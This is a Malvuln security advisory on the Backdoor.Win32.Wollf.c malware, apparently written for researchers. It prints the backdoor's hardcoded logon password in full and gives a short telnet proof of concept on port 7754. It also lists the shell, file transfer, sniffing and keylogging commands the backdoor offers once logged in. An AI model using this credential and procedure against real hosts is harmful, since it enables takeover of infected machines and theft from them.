Backdoor.Win32.Wollf.c Hardcoded Backdoor Password

Backdoor.Win32.Wollf.c malware has a backdoor with a hardcoded password.


MD5 | a71e856823aa52f52d525f719f3a9af2

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/91c02a95839a76a5d2e335cded7112a9.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wollf.c
Vulnerability: Hardcoded Backdoor Password
Description: The backdoor creates a service "sysocm.exe" running with SYSTEM integrity. The sysocm service listens for commands on TCP port 7754. The backdoors remote logon password is "mDVs3TAv8sByKyG6YgwbtYQK6fSQeauz" and while strong, its stored in the executable and easily discovered using strings utility.

C:\>sc qc sysocm
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: sysocm
TYPE : 120 WIN32_SHARE_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\WINDOWS\system32\sysocm.exe -start
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : sysocm
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

Type: PE32
MD5: 91c02a95839a76a5d2e335cded7112a9
Vuln ID: MVID-2021-0053
Dropped files: sysocm.exe
Disclosure: 01/25/2021

Exploit/PoC:
TELNET [BACKDOORED_HOST_IP] 7754

login: mDVs3TAv8sByKyG6YgwbtYQK6fSQeauz

Login succeed!

"Wollf Remote Manager" v1.6
Code by wollf, http://www.xfocus.org

[[email protected]:\WINDOWS\system32]#

DOS Switch to MS-DOS prompt
DIR/LS/LIST Directory and file list
CD Entry directory
MD/MKDIR Make directory
PWD Get current dirctory
COPY/CP Copy file
DEL/RM Delete directory/file
REN/RENAME Rename file
MOVE/MV Move file
TYPE/CAT Type text file
POPMSG Popup message box
SYSINFO Get system information
WHO/W Get current connections
SHELL Execute command by system shell(cmd.exe)
EXEC/RUN Execute file by windows API(WinExec)
WS Windows list
PS Process list
KILL Kill process
GET/GETFILE Download file from remote machine
PUT/PUTFILE Upload file to remote machine
WGET Get file from web server
FGET Get file from ftp server
FPUT Put file to ftp server
TELNET Connect to other host
FTPD Start ftp service
TELNETD/TELD/EXPORT Start telnet service (export shell)
REDIR Redirect tcp data from <Port> to <Dest_host:Dest_port>
REDIR_STOP Stop redirect tcp data
SNIFF Sniff ftp/smtp/pop3/http password what via ethernet
SNIFF_STOP Stop ethernet sniffer
KEYLOG Start keyboard record
KEYLOG_STOP Stop keyboard record
REBOOT Reboot windows
SHUTDOWN Shutdown windows
EXIT Close current connection
QUIT Close all connection and abort service
REMOVE Remove service
VER/VERSION Version information
HELP/H/? Show help message
Type "HELP | MORE" for multipage display.

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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